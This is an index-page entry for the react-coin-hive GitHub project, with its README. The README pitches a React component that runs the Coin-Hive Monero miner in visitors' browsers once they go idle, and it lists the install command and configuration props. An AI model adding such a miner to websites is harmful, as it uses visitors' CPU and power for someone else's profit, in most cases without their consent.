Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/cazala/react-coin-hive
Mine cryptocurrency while your users haven't engaged with your content lately
https://github.com/cazala/react-coin-hive
coinhive cryptocurrency miner monero react xmr
Last synced: about 1 month ago
JSON representation
Mine cryptocurrency while your users haven't engaged with your content lately
- Host: GitHub
- URL: https://github.com/cazala/react-coin-hive
- Owner: cazala
- License: mit
- Created: 2017-09-16T22:33:03.000Z (about 7 years ago)
- Default Branch: master
- Last Pushed: 2017-10-03T18:02:04.000Z (about 7 years ago)
- Last Synced: 2024-09-26T20:55:21.661Z (about 2 months ago)
- Topics: coinhive, cryptocurrency, miner, monero, react, xmr
- Language: JavaScript
- Homepage: https://www.npmjs.com/package/react-coin-hive
- Size: 258 KB
- Stars: 158
- Watchers: 11
- Forks: 40
- Open Issues: 3
-
Metadata Files:
- Readme: README.md
- Contributing: CONTRIBUTING.md
- License: LICENSE
Awesome Lists containing this project
README
# React Coin-Hive
Mine cryptocurrency while your users _haven’t engaged with your content_ lately. Inspired by the last paragraph of [this article](https://cdb.reacttraining.com/announcing-react-idle-8fc0b9e2d33e).
This uses [Coin-Hive](https://coin-hive.com/) to mine [Monero (XMR)](https://getmonero.org/).
## Installation
```
npm install --save react-coin-hive
```## Usage
```jsx
// Anywhere in your app as long as it gets mounted```
## Props
- `siteKey`: Your [Coin-Hive Site Key](https://coin-hive.com/settings/sites).
- `timeout`: How long before considering that the user is idle in milliseconds. Default is `30000`.
- `userName`: If used, the miner will be created with `CoinHive.User(siteKey, userName)`. By default the miner is created with `CoinHive.Anonymous(siteKey)`.
- `threads`: The number of threads the miner should start with. Default is `2`.
- `throttle`: The fraction of time that threads should be idle. Default is `0`.
- `onInit`: A function that takes the `miner` instance as argument. It's called when the miner is created.
- `onStart`: A function that takes the `miner` instance as argument. It's called every time the miner is started.
- `onStop`: A function that takes the `miner` instance as argument. It's called every time the miner is stopped.
## Disclaimer
I have nothing to do with `coin-hive.com`